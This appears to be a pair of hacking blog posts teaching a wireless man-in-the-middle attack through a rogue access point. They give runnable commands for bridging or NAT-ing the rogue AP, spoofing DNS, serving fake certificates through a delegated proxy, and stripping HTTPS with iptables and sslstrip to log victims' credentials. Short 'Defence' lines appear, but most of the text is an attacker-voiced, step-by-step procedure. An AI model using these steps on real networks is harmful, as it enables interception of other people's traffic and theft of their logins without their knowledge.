Even HTTPS woudnt save you......

Once the attacker is MITM between the wireless client and internet, attacker can play with the packets on the fly without the end user having any idea about it. But what if the client was using https instead of http. Even if the attacker captures all the packets going through it, he woudnt be able to read the packets as data is encrypted through a combination of programs and encryption/decryption routines that exist on the web hosting server and in browser programs. It goes like this....

• Browser checks the certificate to make sure that the site you are connecting to is the real site and not someone intercepting.

• Determine encryption types that the browser and web site server can both use to understand each other.

• Browser and Server send each other unique codes to use when scrambling (or encrypting) the information that will be sent.

• The browser and Server start talking using the encryption, the web browser shows the encrypting icon, and web pages are processed secured. (Some of the sites use https only for secure login, and then redirect all data through http connection. These sites are vulnerable to session hijacking)

For more information on how it works, look here.

So for the attacker to read those packets, he either has to provide a fake certificate (for which attacker is the certifying authority, so he knows the private key) to the end user or somehow redirect all https traffic to http so that the packets are not encrypted at all. Lets see how an attacker can achieve this:

Assumption : You are already a MITM. If you dont know how to become MITM, see here.

First Approach: In this approach, attacker has to set up a proxy server listening on port 80 (http) and 443(https) , and then redirect all traffic from the client to its proxy server. Proxy server will throw a fake certificate to the client and a warning will be shown by the client browser (as this certificate is not signed by any certifying authority stored in browser). Now if the end user accepts the certificate, it will encrypt all data with the public key which it has just got in the certificate. Now the attacker can decrypt all data, as it knows the private key and then send it to the original site.

You can use a proxy server delegated, and run it with following options:

#delegated -P443 SERVER=https -v PERMIT="*:*:*" REMITTABLE=+,http,https RELAY=proxy,delegate,vhost STLS=mitm FTOSV=-tee-n & (for https)

#delegated -P80 SERVER=http -v PERMIT="*:*:*" REMITTABLE=+,http,https RELAY=proxy,delegate,vhost STLS=mitm FTOSV=-tee-n & (for http)

Now to redirect all traffic from client to your IP addrees, you have to send dns replies which should resolve all DNS queries to your IP.
#dnsspoof -f dnsspoof.host -i $interface
(where $interface is the IP of the bridge or wireless interface in case of NAT AP)

dnssppof.host file would look like:
$ip *
(where $ip is the bridge IP or wireless interface in case of NAT AP)
And now attacker can read all data... Bingo!!!!

Vulnerable Clients: All unassuming, unaware and unsuspecting clients which accept the fake certificate even after browser warning.

Defence: Read all warnings carefully and try to understand their meaning.

Second Approach:In this approach, attacker exploits the fact that end users expect secure sites to redirect from http to https for login. In this case, mechanism for redirecting people from the insecure to the secure version of a web page can be abused. As it is difficult to be certain about where the endpoints of communication lie, by acting as a man-in-the-middle, attacker can create a unsecure connection between victim and attacker (who can read everything in the clear text) and then a second secure connection between the attacker and secure website.

A very good video tutorial is here.

To make it work for our honeypot AP, first download ssl-strip.
I am assuming you have become MITM using NAT AP approach and have extracted ssl-strip in the same directory. The extra steps are:

#iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 777
#cd sslstrip-0.4
#xterm -e python sslstrip.py -l 777 -f lock.ico
All data will be logged to sslstrip.log file.

Vulnerable Clients:All clients which initiate access to secure (HTTPS) websites using insecure connection (HTTP). It is more potential attack than the previous one as it doesnt even give any warning and it can show a fake lock icon also.

Defence: For all those sites which support HTTPS, always use https from the initiation stage.

Conclusion: The weekness is not in the SSL but the fact that attacking the end user is the weakest link in the chain. Security should never be in the hands of end user. :)

Being MITM --- A Wireless Scenario.....

Capturing useful information (i.e. username/passwords etc..) from the users of the network has always been any hacker's primary motivation. It was easy to capture all data flowing in the network by putting your card in the promiscuous mode and running a sniffer when bridges and hubs were used in the networks. With the advent of the switches, as data was forwarded only to either the intended system (if in the same subnet) or the gateway, attacker had to be an MITM (Man In The Middle) to get the data from the victims.
ARP poisoning is the only way to get between an legitimate gateway and victim machine, where we poison ARP cache of the systems in the network changing gateway's MAC address to attacker's MAC by sending fake ARP replies. Attacker needs to be a part of your subnet for this trick to work. Given this background on MITM, lets move to how all this becomes very easy for an attacker in the wireless scenario.

As soon as wireless client connects to attacker's honeypot AP, attacker can either assign an IP address to the client by setting up a dhcp server or can just bridge the wired and wireless interface so that the client gets IP address from the enterprise network. Though i prefer the first approach as some enterprise networks might have static IP address allocations, i will explain both.

Assumption : The wired interface(eth0) has internet connectivity.

First approach:
This approach will work only if wired interface gets IP address from the dhcp server. It goes the same way as already has been explained here, with the difference that you dont have to run dhcp server as you expect client connecting to your honeypot AP to get IP address from enterprise network. The additional step that you have to do is, creating a bridge between the wired and wireless interface.

#ip address flush dev eth0
#brctl addbr br0
#brctl addif br0 ath0 (ath0 is wireless interface)
#brctl addif br0 eth0
#ifconfig br0 up
#dhcpcd br0 (or dhclient, whatever is your dhcp client)

Second Approach: In this case, the honeypot AP acts as a NAT AP. After setting up honeypot AP, follow these steps:

#ifconfig ath0 up
#ifconfig ath0 10.0.0.1 netmask 255.255.255.0
#route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
#iptables --flush
#iptables --table nat --flush
#iptables --delete-chain
#iptables --table nat --delete-chain
#iptables -P FORWARD ACCEPT
#iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

echo "1" > /proc/sys/net/ipv4/ip_forward

Run dhcp server on wireless interface:

#dhcpd -d -f -cf /etc/dhcpd.conf ath0 &
Bingo!!! Now your honeypot AP is a NAT AP.

You can choose any of these approaches and now you are a MITM between the wireless client and Internet. Being a MITM, you can log, modify and drop the data (coming from/going to) the client.

We will see in the next posts, how we can go a step further and decipher all data even if the wireless client uses secure HTTP (https).